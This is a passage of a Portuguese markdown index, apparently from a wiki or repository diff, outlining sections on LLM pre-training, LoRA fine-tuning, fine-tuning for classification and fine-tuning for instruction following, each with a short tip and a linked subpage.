||||
## 6. Pré-treinamento e Carregamento de Modelos
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta sexta fase é muito simples: **Treinar o modelo do zero**. Para isso, a arquitetura LLM anterior será usada com alguns loops sobre os conjuntos de dados usando as funções de perda e otimizador definidos para treinar todos os parâmetros do modelo.
|
||||
|
||||
{{#ref}}
|
||||
6.-pre-training-and-loading-models.md
|
||||
{{#endref}}
|
||||
|
||||
## 7.0. Melhorias LoRA em Ajuste Fino
|
||||
|
||||
> [!TIP]
|
||||
> O uso de **LoRA reduz muito a computação** necessária para **ajustar finamente** modelos já treinados.
|
||||
|
||||
{{#ref}}
|
||||
7.0.-lora-improvements-in-fine-tuning.md
|
||||
{{#endref}}
|
||||
|
||||
## 7.1. Ajuste Fino para Classificação
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta seção é mostrar como ajustar finamente um modelo já pré-treinado para que, em vez de gerar novo texto, o LLM selecione e forneça as **probabilidades do texto dado ser categorizado em cada uma das categorias dadas** (como se um texto é spam ou não).
|
||||
|
||||
{{#ref}}
|
||||
7.1.-fine-tuning-for-classification.md
|
||||
{{#endref}}
|
||||
|
||||
## 7.2. Ajuste Fino para Seguir Instruções
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta seção é mostrar como **ajustar finamente um modelo já pré-treinado para seguir instruções** em vez de apenas gerar texto, por exemplo, respondendo a tarefas como um chatbot.
|
||||
|
||||
{{#ref}}
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
Loading…
x
Reference in New Issue
Block a user